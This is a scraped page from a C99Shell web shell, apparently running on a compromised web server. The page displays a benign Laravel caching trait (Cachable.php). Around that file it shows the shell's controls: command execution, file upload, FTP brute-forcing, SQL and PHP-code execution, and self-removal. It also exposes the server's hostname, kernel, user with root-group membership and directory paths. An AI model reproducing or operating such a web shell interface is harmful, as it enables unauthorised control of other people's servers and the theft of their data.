!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Traits/ModelTraits/   drwxr-xr-x
Free 25.72 GB of 117.98 GB (21.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Cachable.php (2.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Traits\ModelTraits;

use 
Cache;

trait 
Cachable
{
    
/**
     * boot
     *
     * @return void
     */
    
public static function boot()
    {
        
parent::boot();

        
self::updated(function($model){
            
self::forgetCache();
        });

        
self::created(function($model){
            
self::forgetCache();
        });

        
self::deleted(function($model){
            
self::forgetCache();
        });
    }

    
/**
     * getAll
     *
     * @return collection
     */
    
public static function getAll()
    {
        return 
self::setCache(function() {
            return 
parent::all();
        });
    }

    
/**
     * setCache
     *
     * @param  mixed $callback
     * @param  mixed $cacheKey
     * @return void
     */
    
public static function setCache(\Closure $callback$cacheKey null)
    {
        if (
is_null($cacheKey)) {
            
$cacheKey self::cacheKey();
        }

        return 
Cache::remember($cacheKeyself::cacheTimestamp(), $callback);
    }

    
/**
     * forgetCache
     *
     * @param  mixed $cacheKey
     * @return void
     */
    
public static function forgetCache($cacheKey null)
    {
        if (
is_null($cacheKey)) {
            
Cache::forget(self::cacheKey());
        }

        if (
is_string($cacheKey)) {
            
Cache::forget(self::cacheKey($cacheKey));
        }

        if (
is_array($cacheKey)) {
            foreach (
$cacheKey as $key => $value) {
                
Cache::forget(self::cacheKey($value));
            }
        }
    }

    
/**
     * getTableName
     *
     * @return void
     */
    
public static function getTableName()
    {
        return 
with(new static)->getTable();
    }

    
/**
     * cacheKey
     *
     * @param  mixed $cacheTag
     * @return void
     */
    
public static function cacheKey($cacheTag null)
    {
        if (
is_null($cacheTag)) {
            return 
config('cache.prefix') . '.' self::getTableName();
        }

        return 
config('cache.prefix') . '.' $cacheTag;
    }

    
/**
     * cacheTimestamp
     *
     * @param  mixed $timestamp
     * @return void
     */
    
protected static function cacheTimestamp($timestamp null)
    {
        if (
is_null($timestamp)) {
            return 
30 86400;
        }

        return 
$timestamp;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--